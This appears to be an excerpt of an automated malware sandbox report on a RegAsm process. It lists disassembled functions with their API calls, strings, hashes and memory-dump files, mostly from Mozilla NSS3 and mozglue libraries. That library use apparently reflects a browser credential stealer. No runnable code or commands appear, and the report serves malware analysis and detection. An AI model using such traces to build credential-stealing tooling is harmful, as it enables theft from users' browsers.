sqlite3_free.NSS3(?), ref: 6CF42E89
sqlite3_free.NSS3(?), ref: 6CF42EBB
sqlite3_free.NSS3(?), ref: 6CF42ECB
sqlite3_free.NSS3(00000000), ref: 6CF42F3E
sqlite3_free.NSS3(?), ref: 6CF42F4C

Memory Dump Source

Source File: 0000000D.00000002.1678820805.000000006CDF1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDF0000, based on PE: true

Associated: 0000000D.00000002.1678798782.000000006CDF0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000D.00000002.1681169936.000000006CF8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000D.00000002.1682090347.000000006CFCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000D.00000002.1682112608.000000006CFCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000D.00000002.1682134802.000000006CFD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000D.00000002.1682154050.000000006CFD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_6cdf0000_RegAsm.jbxd

Similarity

API ID: sqlite3_free$CriticalSection$EnterLeavesqlite3_execsqlite3_initializesqlite3_mprintf
String ID:
API String ID: 1957633107-0
Opcode ID: 2be678ebbb05dc866b356012b639d7e364ce55a55164145ef99f7ca8e7c57254
Instruction ID: f80974b2b9e79e77b5871c42dc86482891465da9636d1270ef30694a316d7d8f
Opcode Fuzzy Hash: 2be678ebbb05dc866b356012b639d7e364ce55a55164145ef99f7ca8e7c57254
Instruction Fuzzy Hash: BF613BB5E012058BEB00CFA8D885BDEBBB1BF48358F158038DC55A7712E736E955CBA1

Uniqueness

Uniqueness Score: -1.00%

Function 6CDF4C70 Relevance: 18.1, APIs: 12, Instructions: 116threadCOMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(?,?,?,6CDF3921,6CFD14E4,6CF3CC70), ref: 6CDF4C97
EnterCriticalSection.KERNEL32(?,?,?,?,6CDF3921,6CFD14E4,6CF3CC70), ref: 6CDF4CB0
PR_Unlock.NSS3(?,?,?,?,?,6CDF3921,6CFD14E4,6CF3CC70), ref: 6CDF4CC9
TlsGetValue.KERNEL32(?,?,?,?,?,6CDF3921,6CFD14E4,6CF3CC70), ref: 6CDF4D11
EnterCriticalSection.KERNEL32(?,?,?,?,?,?,6CDF3921,6CFD14E4,6CF3CC70), ref: 6CDF4D2A
PR_NotifyAllCondVar.NSS3(?,?,?,?,?,?,?,6CDF3921,6CFD14E4,6CF3CC70), ref: 6CDF4D4A
PR_Unlock.NSS3(?,?,?,?,?,?,?,6CDF3921,6CFD14E4,6CF3CC70), ref: 6CDF4D57
PR_GetCurrentThread.NSS3(?,?,?,?,?,6CDF3921,6CFD14E4,6CF3CC70), ref: 6CDF4D97
PR_Lock.NSS3(?,?,?,?,?,6CDF3921,6CFD14E4,6CF3CC70), ref: 6CDF4DBA
PR_WaitCondVar.NSS3 ref: 6CDF4DD4
PR_Unlock.NSS3(?,?,?,?,?,6CDF3921,6CFD14E4,6CF3CC70), ref: 6CDF4DE6
PR_GetCurrentThread.NSS3(?,?,?,?,?,6CDF3921,6CFD14E4,6CF3CC70), ref: 6CDF4DEF

Memory Dump Source

Source File: 0000000D.00000002.1678820805.000000006CDF1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDF0000, based on PE: true

Associated: 0000000D.00000002.1678798782.000000006CDF0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000D.00000002.1681169936.000000006CF8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000D.00000002.1682090347.000000006CFCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000D.00000002.1682112608.000000006CFCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000D.00000002.1682134802.000000006CFD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000D.00000002.1682154050.000000006CFD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_6cdf0000_RegAsm.jbxd

Similarity

API ID: Unlock$CondCriticalCurrentEnterSectionThreadValue$LockNotifyWait
String ID:
API String ID: 3388019835-0
Opcode ID: 142dc19438673414b48d072f1b06e306e69256fe16367832314e927cc8658a1a
Instruction ID: 5a42a806443be11ddc78f2fdf57832d1753b38462421dda16c840342e49024a4
Opcode Fuzzy Hash: 142dc19438673414b48d072f1b06e306e69256fe16367832314e927cc8658a1a
Instruction Fuzzy Hash: 574193B5E24715CFCB40AF79D584259BBF4BF05324F068669EC9897710EB30E886CB91

Uniqueness

Uniqueness Score: -1.00%

Function 6CD98ED0 Relevance: 17.8, APIs: 1, Strings: 9, Instructions: 311COMMON

Download Yara Rule

APIs

Part of subcall function 6CD5EB30: free.MOZGLUE(?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CD5EB83

?FormatToStringSpan@MarkerSchema@mozilla@@CA?AV?$Span@$$CBD$0PPPPPPPP@@2@W4Format@12@@Z.MOZGLUE(?,?,00000004,?,?,?,?,?,?,6CD9B392,?,?,00000001), ref: 6CD991F4

Part of subcall function 6CD8CBE8: GetCurrentProcess.KERNEL32(?,6CD531A7), ref: 6CD8CBF1
Part of subcall function 6CD8CBE8: TerminateProcess.KERNEL32(00000000,00000003,?,6CD531A7), ref: 6CD8CBFA

Strings

name, xrefs: 6CD98F16
timeline-ipc, xrefs: 6CD99096
stack-chart, xrefs: 6CD990B2
marker-table, xrefs: 6CD9906C
timeline-memory, xrefs: 6CD99088
timeline-fileio, xrefs: 6CD990A4
data, xrefs: 6CD990E8
marker-chart, xrefs: 6CD9905E
timeline-overview, xrefs: 6CD9907A

Memory Dump Source

Source File: 0000000D.00000002.1677501482.000000006CD51000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CD50000, based on PE: true

Associated: 0000000D.00000002.1677416549.000000006CD50000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000D.00000002.1678323473.000000006CDCD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000D.00000002.1678573921.000000006CDDE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000D.00000002.1678717066.000000006CDE2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_6cd50000_RegAsm.jbxd

Similarity

API ID: Process$CurrentFormatFormat@12@@MarkerP@@2@Schema@mozilla@@Span@Span@$$StringTerminatefree
String ID: data$marker-chart$marker-table$name$stack-chart$timeline-fileio$timeline-ipc$timeline-memory$timeline-overview
API String ID: 3790164461-3347204862
Opcode ID: 26201ef7a13d8cdee6ef9ecd8b5e9d2260c96146eb110e4a667fd7a4c086702a
Instruction ID: a97ec80d99d772891219e65b36d901be2514d80c29334c5b1ea852b080c82a34
Opcode Fuzzy Hash: 26201ef7a13d8cdee6ef9ecd8b5e9d2260c96146eb110e4a667fd7a4c086702a
Instruction Fuzzy Hash: 6AB1C2B4F012099BDF04DF95C8917EEBBB9AF84318F504019D506ABFA0C731A955CBE2

Uniqueness

Uniqueness Score: -1.00%

Function 6CD7C570 Relevance: 17.8, APIs: 8, Strings: 2, Instructions: 277stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0 ref: 6CD7C5A3
WideCharToMultiByte.KERNEL32 ref: 6CD7C9EA
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000000), ref: 6CD7C9FB
WideCharToMultiByte.KERNEL32(00000000,00000000,?,000000FF,00000000,00000000,00000000,00000000), ref: 6CD7CA12
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6CD7CA2E
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6CD7CAA5

Strings

0, xrefs: 6CD7D30A
(null), xrefs: 6CD7C596

Memory Dump Source

Source File: 0000000D.00000002.1677501482.000000006CD51000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CD50000, based on PE: true

Associated: 0000000D.00000002.1677416549.000000006CD50000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000D.00000002.1678323473.000000006CDCD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000D.00000002.1678573921.000000006CDDE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000D.00000002.1678717066.000000006CDE2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_6cd50000_RegAsm.jbxd

Similarity

API ID: ByteCharMultiWidestrlen$freemalloc
String ID: (null)$0
API String ID: 4074790623-38302674
Opcode ID: 074ad02a98d5ba059c771dc06a624e4775a1de44f895b7c24a827a5098fd10bf
Instruction ID: a6bf06e7316a4edca174aeec033dfcbd20e94c4560a22f7b05e480c6fa9aca9d
Opcode Fuzzy Hash: 074ad02a98d5ba059c771dc06a624e4775a1de44f895b7c24a827a5098fd10bf
Instruction Fuzzy Hash: 06A18B30608342DFDB20DF28C58475EBBE5AFC9758F04892DE999D7661DB31E805CBA2

Uniqueness

Uniqueness Score: -1.00%

Function 0040AD4F Relevance: 17.6, APIs: 9, Strings: 1, Instructions: 92stringmemoryCOMMON

Download Yara Rule

APIs

_EH_prolog.MSVCRT ref: 0040AD54
lstrlen.KERNEL32(?,00000001,76AA5460,00000000), ref: 0040AD72
strchr.MSVCRT ref: 0040AD88
strchr.MSVCRT ref: 0040ADAC
lstrlen.KERNEL32(?), ref: 0040ADCB
GetProcessHeap.KERNEL32(00000008,-00000001), ref: 0040ADDC
HeapAlloc.KERNEL32(00000000), ref: 0040ADE3
lstrlen.KERNEL32(?), ref: 0040ADF3
strcpy_s.MSVCRT ref: 0040AE1B

Strings

0123456789ABCDEF, xrefs: 0040AD62

Memory Dump Source

Source File: 0000000D.00000002.1658372250.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000D.00000002.1658372250.0000000000431000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000D.00000002.1658372250.0000000000520000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000D.00000002.1658372250.0000000000523000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000D.00000002.1658372250.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000D.00000002.1658372250.0000000000567000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000D.00000002.1658372250.0000000000600000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000D.00000002.1658372250.000000000063C000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: lstrlen$Heapstrchr$AllocH_prologProcessstrcpy_s
String ID: 0123456789ABCDEF
API String ID: 165438908-2554083253
Opcode ID: 07e8995f28a649b1a3c1d4956956b490abb8a198ac8b73d5f8d66c867e331346
Instruction ID: efb8b38d377f3d7ba4c777229ed45fd33f6f9966074aa1113644d70e3af62a5f
Opcode Fuzzy Hash: 07e8995f28a649b1a3c1d4956956b490abb8a198ac8b73d5f8d66c867e331346
Instruction Fuzzy Hash: E621E172900605AFDB04DFB9DC89AEF7BA9EF48315F00402AF815EB181DB38D60187A4

Uniqueness

Uniqueness Score: -1.00%

Function 6CD53480 Relevance: 17.6, APIs: 8, Strings: 2, Instructions: 86librarytimeloaderCOMMON

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32(?,?,?,?,?,?,?,6CD53284,?,?,6CD756F6), ref: 6CD53492
GetProcessTimes.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,6CD53284,?,?,6CD756F6), ref: 6CD534A9
LoadLibraryW.KERNEL32(kernel32.dll,?,?,?,?,?,?,?,?,6CD53284,?,?,6CD756F6), ref: 6CD534EF
GetProcAddress.KERNEL32(00000000,GetSystemTimePreciseAsFileTime), ref: 6CD5350E
__Init_thread_footer.LIBCMT ref: 6CD53522
__aulldiv.LIBCMT ref: 6CD53552
FreeLibrary.KERNEL32(?,?,?,?,?,?,?,?,6CD53284,?,?,6CD756F6), ref: 6CD5357C
GetSystemTimeAsFileTime.KERNEL32(?,?,?,?,?,?,?,?,6CD53284,?,?,6CD756F6), ref: 6CD53592

Part of subcall function 6CD8AB89: EnterCriticalSection.KERNEL32(6CDDE370,?,?,?,6CD534DE,6CDDF6CC,?,?,?,?,?,?,?,6CD53284), ref: 6CD8AB94
Part of subcall function 6CD8AB89: LeaveCriticalSection.KERNEL32(6CDDE370,?,6CD534DE,6CDDF6CC,?,?,?,?,?,?,?,6CD53284,?,?,6CD756F6), ref: 6CD8ABD1

Strings

GetSystemTimePreciseAsFileTime, xrefs: 6CD53508
kernel32.dll, xrefs: 6CD534EA

Memory Dump Source

Source File: 0000000D.00000002.1677501482.000000006CD51000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CD50000, based on PE: true

Associated: 0000000D.00000002.1677416549.000000006CD50000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000D.00000002.1678323473.000000006CDCD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000D.00000002.1678573921.000000006CDDE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000D.00000002.1678717066.000000006CDE2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_6cd50000_RegAsm.jbxd

Similarity

API ID: CriticalLibraryProcessSectionTime$AddressCurrentEnterFileFreeInit_thread_footerLeaveLoadProcSystemTimes__aulldiv
String ID: GetSystemTimePreciseAsFileTime$kernel32.dll
API String ID: 3634367004-706389432
Opcode ID: 592145493f4ffb624a790cbe2a7efbe04ee40c6bc3b852faec87de1f6a4de7e3
Instruction ID: 0f9efe36e4c68869c72dc7a32cc6224041830731e93434c77d53f84537bfb102
Opcode Fuzzy Hash: 592145493f4ffb624a790cbe2a7efbe04ee40c6bc3b852faec87de1f6a4de7e3
Instruction Fuzzy Hash: 25317071F01206ABEF04EFB5CC48AAA77BEFB45705F504519F64593AA0DB70B904CB60

Uniqueness

Uniqueness Score: -1.00%

Function 6CEBECE0 Relevance: 17.6, APIs: 9, Strings: 1, Instructions: 78COMMON

Download Yara Rule

APIs

PL_InitArenaPool.NSS3(?,security,00000800,00000008,?,?,?,?,?,?,?,?,00000000,?,?,6CEBDE64), ref: 6CEBED0C
SEC_QuickDERDecodeItem_Util.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CEBED22

Part of subcall function 6CECB030: PR_SetError.NSS3(FFFFE005,00000000,?,?,6CFA18D0,?), ref: 6CECB095

PL_FreeArenaPool.NSS3(?), ref: 6CEBED4A
PL_FinishArenaPool.NSS3(?), ref: 6CEBED6B
PR_CallOnce.NSS3(6CFD2AA4,6CED12D0), ref: 6CEBED38

Part of subcall function 6CDF4C70: TlsGetValue.KERNEL32(?,?,?,6CDF3921,6CFD14E4,6CF3CC70), ref: 6CDF4C97
Part of subcall function 6CDF4C70: EnterCriticalSection.KERNEL32(?,?,?,?,6CDF3921,6CFD14E4,6CF3CC70), ref: 6CDF4CB0
Part of subcall function 6CDF4C70: PR_Unlock.NSS3(?,?,?,?,?,6CDF3921,6CFD14E4,6CF3CC70), ref: 6CDF4CC9

SECOID_FindOID_Util.NSS3(?), ref: 6CEBED52
PR_CallOnce.NSS3(6CFD2AA4,6CED12D0), ref: 6CEBED83
PL_FreeArenaPool.NSS3(?), ref: 6CEBED95
PL_FinishArenaPool.NSS3(?), ref: 6CEBED9D

Part of subcall function 6CED64F0: free.MOZGLUE(00000000,00000000,00000000,00000000,?,6CED127C,00000000,00000000,00000000), ref: 6CED650E

Strings

security, xrefs: 6CEBED06

Memory Dump Source

Source File: 0000000D.00000002.1678820805.000000006CDF1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDF0000, based on PE: true

Associated: 0000000D.00000002.1678798782.000000006CDF0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000D.00000002.1681169936.000000006CF8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000D.00000002.1682090347.000000006CFCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000D.00000002.1682112608.000000006CFCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000D.00000002.1682134802.000000006CFD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000D.00000002.1682154050.000000006CFD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_6cdf0000_RegAsm.jbxd

Similarity

API ID: ArenaPool$CallFinishFreeOnceUtil$CriticalDecodeEnterErrorFindInitItem_QuickSectionUnlockValuefree
String ID: security
API String ID: 3323615905-3315324353
Opcode ID: d3cea40327a0cd4aff297b70cdebcccac2c8247573dbb364101abd821da92489
Instruction ID: 485a173d0704009c1a0a801e3fe1342c0158e8e971c82c3f0dc1afca04606f81
Opcode Fuzzy Hash: d3cea40327a0cd4aff297b70cdebcccac2c8247573dbb364101abd821da92489
Instruction Fuzzy Hash: 461166769006146BE7105774AD40BBB727CBF0260DF260968E815B3F40FB76BA0E86E7

Uniqueness

Uniqueness Score: -1.00%

Function 6CEA2CD0 Relevance: 17.6, APIs: 5, Strings: 5, Instructions: 73COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(C_InitToken), ref: 6CEA2CEC
PR_LogPrint.NSS3( slotID = 0x%x,?), ref: 6CEA2D07

Part of subcall function 6CF809D0: PR_Now.NSS3 ref: 6CF80A22
Part of subcall function 6CF809D0: PR_ExplodeTime.NSS3(00000000,?,?,?), ref: 6CF80A35
Part of subcall function 6CF809D0: PR_snprintf.NSS3(?,000001FF,%04d-%02d-%02d %02d:%02d:%02d.%06d UTC - ,?,?,?,?,?,?,?), ref: 6CF80A66
Part of subcall function 6CF809D0: PR_GetCurrentThread.NSS3 ref: 6CF80A70
Part of subcall function 6CF809D0: PR_snprintf.NSS3(?,000001FF,%ld[%p]: ,00000000,00000000), ref: 6CF80A9D
Part of subcall function 6CF809D0: PR_vsnprintf.NSS3(-FFFFFDF0,000001FF,?,?), ref: 6CF80AC8
Part of subcall function 6CF809D0: PR_vsmprintf.NSS3(?,?), ref: 6CF80AE8
Part of subcall function 6CF809D0: EnterCriticalSection.KERNEL32(?), ref: 6CF80B19
Part of subcall function 6CF809D0: OutputDebugStringA.KERNEL32(00000000), ref: 6CF80B48
Part of subcall function 6CF809D0: _PR_MD_UNLOCK.NSS3(?), ref: 6CF80C76
Part of subcall function 6CF809D0: PR_LogFlush.NSS3 ref: 6CF80C7E

PR_LogPrint.NSS3( pPin = 0x%p,?), ref: 6CEA2D22

Part of subcall function 6CF809D0: OutputDebugStringA.KERNEL32(?), ref: 6CF80B88
Part of subcall function 6CF809D0: memcpy.VCRUNTIME140(?,?,00000000), ref: 6CF80C5D
Part of subcall function 6CF809D0: fwrite.API-MS-WIN-CRT-STDIO-L1-1-0(?,00000001,?,?), ref: 6CF80C8D
Part of subcall function 6CF809D0: fflush.API-MS-WIN-CRT-STDIO-L1-1-0 ref: 6CF80C9C
Part of subcall function 6CF809D0: OutputDebugStringA.KERNEL32(?), ref: 6CF80CD1
Part of subcall function 6CF809D0: fwrite.API-MS-WIN-CRT-STDIO-L1-1-0(?,00000001,00000000,?), ref: 6CF80CEC
Part of subcall function 6CF809D0: fflush.API-MS-WIN-CRT-STDIO-L1-1-0 ref: 6CF80CFB
Part of subcall function 6CF809D0: OutputDebugStringA.KERNEL32(00000000), ref: 6CF80D16
Part of subcall function 6CF809D0: fwrite.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,00000001,00000000,?), ref: 6CF80D26
Part of subcall function 6CF809D0: fflush.API-MS-WIN-CRT-STDIO-L1-1-0 ref: 6CF80D35
Part of subcall function 6CF809D0: OutputDebugStringA.KERNEL32(0000000A), ref: 6CF80D65
Part of subcall function 6CF809D0: fputc.API-MS-WIN-CRT-STDIO-L1-1-0(0000000A,?), ref: 6CF80D70
Part of subcall function 6CF809D0: _PR_MD_UNLOCK.NSS3(?), ref: 6CF80D90
Part of subcall function 6CF809D0: free.MOZGLUE(00000000), ref: 6CF80D99

PR_LogPrint.NSS3( ulPinLen = %d,?), ref: 6CEA2D3B

Part of subcall function 6CF809D0: fwrite.API-MS-WIN-CRT-STDIO-L1-1-0(?,00000001,00000000,?), ref: 6CF80BAB
Part of subcall function 6CF809D0: fflush.API-MS-WIN-CRT-STDIO-L1-1-0 ref: 6CF80BBA
Part of subcall function 6CF809D0: fflush.API-MS-WIN-CRT-STDIO-L1-1-0 ref: 6CF80D7E

PR_LogPrint.NSS3( pLabel = 0x%p,?), ref: 6CEA2D54

Part of subcall function 6CF809D0: strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6CF80BCB
Part of subcall function 6CF809D0: EnterCriticalSection.KERNEL32(?), ref: 6CF80BDE
Part of subcall function 6CF809D0: OutputDebugStringA.KERNEL32(?), ref: 6CF80C16

Strings

pLabel = 0x%p, xrefs: 6CEA2D4F
slotID = 0x%x, xrefs: 6CEA2D02
ulPinLen = %d, xrefs: 6CEA2D36
pPin = 0x%p, xrefs: 6CEA2D1D
C_InitToken, xrefs: 6CEA2CE7

Memory Dump Source

Source File: 0000000D.00000002.1678820805.000000006CDF1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDF0000, based on PE: true

Associated: 0000000D.00000002.1678798782.000000006CDF0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000D.00000002.1681169936.000000006CF8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000D.00000002.1682090347.000000006CFCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000D.00000002.1682112608.000000006CFCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000D.00000002.1682134802.000000006CFD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000D.00000002.1682154050.000000006CFD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_6cdf0000_RegAsm.jbxd

Similarity

API ID: DebugOutputString$Printfflush$fwrite$CriticalEnterR_snprintfSection$CurrentExplodeFlushR_vsmprintfR_vsnprintfThreadTimefputcfreememcpystrlen
String ID: pLabel = 0x%p$ pPin = 0x%p$ slotID = 0x%x$ ulPinLen = %d$C_InitToken
API String ID: 420000887-1567254798
Opcode ID: fdf8d3a0f9306ced212a8b403ff8d86aacdc268a3edd19d5f290f05ecde32b92
Instruction ID: ed7944fca393a05f0bc16cac22a0bf7172025a445c50f652847d3e6cf5b245ca
Opcode Fuzzy Hash: fdf8d3a0f9306ced212a8b403ff8d86aacdc268a3edd19d5f290f05ecde32b92
Instruction Fuzzy Hash: 7821F575A11144EFDB409FB5DC4CB497BB1EB4631DF548054E908ABB22CB72AC4ACBA1

Uniqueness

Uniqueness Score: -1.00%

Function 6CF80EB0 Relevance: 17.6, APIs: 8, Strings: 2, Instructions: 65COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(Aborting,?,6CE62357), ref: 6CF80EB8
abort.API-MS-WIN-CRT-RUNTIME-L1-1-0(6CE62357), ref: 6CF80EC0
PR_LogPrint.NSS3(Assertion failure: %s, at %s:%d,00000000,00000001,?,00000001,00000000,00000000), ref: 6CF80EE6

Part of subcall function 6CF809D0: PR_Now.NSS3 ref: 6CF80A22
Part of subcall function 6CF809D0: PR_ExplodeTime.NSS3(00000000,?,?,?), ref: 6CF80A35
Part of subcall function 6CF809D0: PR_snprintf.NSS3(?,000001FF,%04d-%02d-%02d %02d:%02d:%02d.%06d UTC - ,?,?,?,?,?,?,?), ref: 6CF80A66
Part of subcall function 6CF809D0: PR_GetCurrentThread.NSS3 ref: 6CF80A70
Part of subcall function 6CF809D0: PR_snprintf.NSS3(?,000001FF,%ld[%p]: ,00000000,00000000), ref: 6CF80A9D
Part of subcall function 6CF809D0: PR_vsnprintf.NSS3(-FFFFFDF0,000001FF,?,?), ref: 6CF80AC8
Part of subcall function 6CF809D0: PR_vsmprintf.NSS3(?,?), ref: 6CF80AE8
Part of subcall function 6CF809D0: EnterCriticalSection.KERNEL32(?), ref: 6CF80B19
Part of subcall function 6CF809D0: OutputDebugStringA.KERNEL32(00000000), ref: 6CF80B48
Part of subcall function 6CF809D0: _PR_MD_UNLOCK.NSS3(?), ref: 6CF80C76
Part of subcall function 6CF809D0: PR_LogFlush.NSS3 ref: 6CF80C7E

__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,?,00000001,00000000,00000000), ref: 6CF80EFA

Part of subcall function 6CE6AEE0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000001,?,00000000,?,00000001,?,?,?,00000001,00000000,00000000), ref: 6CE6AF0E

__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6CF80F16
fflush.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6CF80F1C
DebugBreak.KERNEL32(?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6CF80F25
abort.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6CF80F2B

Strings

Aborting, xrefs: 6CF80EB3
Assertion failure: %s, at %s:%d, xrefs: 6CF80ED9, 6CF80EE5, 6CF80F06, 6CF80F0B

Memory Dump Source

Source File: 0000000D.00000002.1678820805.000000006CDF1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDF0000, based on PE: true

Associated: 0000000D.00000002.1678798782.000000006CDF0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000D.00000002.1681169936.000000006CF8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000D.00000002.1682090347.000000006CFCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000D.00000002.1682112608.000000006CFCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000D.00000002.1682134802.000000006CFD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000D.00000002.1682154050.000000006CFD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_6cdf0000_RegAsm.jbxd

Similarity

API ID: DebugPrintR_snprintf__acrt_iob_funcabort$BreakCriticalCurrentEnterExplodeFlushOutputR_vsmprintfR_vsnprintfSectionStringThreadTime__stdio_common_vfprintffflush
String ID: Aborting$Assertion failure: %s, at %s:%d
API String ID: 3905088656-1374795319
Opcode ID: 5431d19886ccabf4e1c4a1a06811706d07d9b8e2857825b23f9f35b27703d3ea
Instruction ID: d3e217806e06b868148e6041ceca0c34c4c40cb0db76e7d744d2300162f91701
Opcode Fuzzy Hash: 5431d19886ccabf4e1c4a1a06811706d07d9b8e2857825b23f9f35b27703d3ea
Instruction Fuzzy Hash: D3F0C2B9E001147BDE403BA1DC4AE9B3E3DEF82764F404024FD1957B02DB76EA5596B2

Uniqueness

Uniqueness Score: -1.00%

Function 6CEE4DB0 Relevance: 16.9, APIs: 11, Instructions: 395memoryCOMMON

Download Yara Rule

APIs

PORT_NewArena_Util.NSS3(00000400), ref: 6CEE4DCB

Part of subcall function 6CED0FF0: calloc.MOZGLUE(00000001,00000024,00000000,?,?,6CE787ED,00000800,6CE6EF74,00000000), ref: 6CED1000
Part of subcall function 6CED0FF0: PR_NewLock.NSS3(?,00000800,6CE6EF74,00000000), ref: 6CED1016
Part of subcall function 6CED0FF0: PL_InitArenaPool.NSS3(00000000,security,6CE787ED,00000008,?,00000800,6CE6EF74,00000000), ref: 6CED102B

PORT_ArenaAlloc_Util.NSS3(00000000,0000001C), ref: 6CEE4DE1

Part of subcall function 6CED10C0: TlsGetValue.KERNEL32(?,6CE78802,00000000,00000008,?,6CE6EF74,00000000), ref: 6CED10F3
Part of subcall function 6CED10C0: EnterCriticalSection.KERNEL32(?,?,6CE78802,00000000,00000008,?,6CE6EF74,00000000), ref: 6CED110C
Part of subcall function 6CED10C0: PL_ArenaAllocate.NSS3(?,?,?,6CE78802,00000000,00000008,?,6CE6EF74,00000000), ref: 6CED1141
Part of subcall function 6CED10C0: PR_Unlock.NSS3(?,?,?,6CE78802,00000000,00000008,?,6CE6EF74,00000000), ref: 6CED1182
Part of subcall function 6CED10C0: TlsGetValue.KERNEL32(?,6CE78802,00000000,00000008,?,6CE6EF74,00000000), ref: 6CED119C

PORT_ArenaAlloc_Util.NSS3(?,0000001C), ref: 6CEE4DFF
SECITEM_ZfreeItem_Util.NSS3(?,00000001), ref: 6CEE4E59

Part of subcall function 6CECFAB0: free.MOZGLUE(?,-00000001,?,?,6CE6F673,00000000,00000000), ref: 6CECFAC7

SEC_QuickDERDecodeItem_Util.NSS3(?,00000000,6CFA300C,00000000), ref: 6CEE4EB8
SECOID_FindOID_Util.NSS3(?), ref: 6CEE4EFF
memcmp.VCRUNTIME140(?,00000000,00000000), ref: 6CEE4F56
PORT_FreeArena_Util.NSS3(?,00000000), ref: 6CEE521A

Memory Dump Source

Source File: 0000000D.00000002.1678820805.000000006CDF1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDF0000, based on PE: true

Associated: 0000000D.00000002.1678798782.000000006CDF0000.00000002.00000001.01000000.00000009.sdmpDownload File
